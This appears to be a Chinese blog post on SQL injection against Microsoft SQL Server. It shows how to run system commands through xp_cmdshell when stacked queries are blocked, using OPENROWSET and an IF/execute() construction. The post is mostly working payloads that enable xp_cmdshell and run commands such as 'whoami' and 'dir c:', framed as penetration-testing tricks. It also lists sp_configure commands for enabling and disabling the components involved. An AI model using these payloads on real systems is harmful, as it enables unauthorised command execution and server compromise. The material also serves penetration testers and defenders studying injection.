• MSSQL注入 突破不能堆叠的限制执行系统命令


    使用 openrowset

    这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:

    OPENROWSET
    ( { 'provider_name' 
        , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
        , {   <table_or_view> | 'query' }
       | BULK 'data_file' ,
           { FORMATFILE = 'format_file_path' [ <bulk_options> ]
           | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
    } )
    

    payload

    select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
    fmtonly off 
    exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')
    

    在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

    但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

    • 开启 Ad Hoc Distributed Queries 组件
    exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
    
    • 关闭 Ad Hoc Distributed Queries 组件
    exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
    
    • 查看是否开启相关存储
    select  name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
    
    select  name,value_in_use from sys.configurations where name like '%cmdshell%'
    

    开启后再来执行执行可以看到顺利执行了。

    使用 exec\execute

    因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。

    那么 exec 真的需要多句才能执行吗?,来直接看 payload

    if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。

    IF Boolean_expression   
         { sql_statement | statement_block }   
    [ ELSE   
         { sql_statement | statement_block } ]
    

    完整的 payload

    select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
    1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
    ''whoami''');
    

  • 相关阅读:
    jmeter学习笔记(十一)定时器
    jmter学习笔记(十)断言
    jmeter学习笔记(九)
    jmeter学习笔记(八-1)
    jmeter学习笔记(八-2)
    jmeter上传发送文件学习笔记
    jmeter学习笔记(七)
    jmeter学习笔记(六)
    jmeter学习笔记(四)
    jmeter学习笔记(五)
  • 原文地址:https://www.cnblogs.com/unicodeSec/p/15061738.html
Copyright © 2020-2023  润新知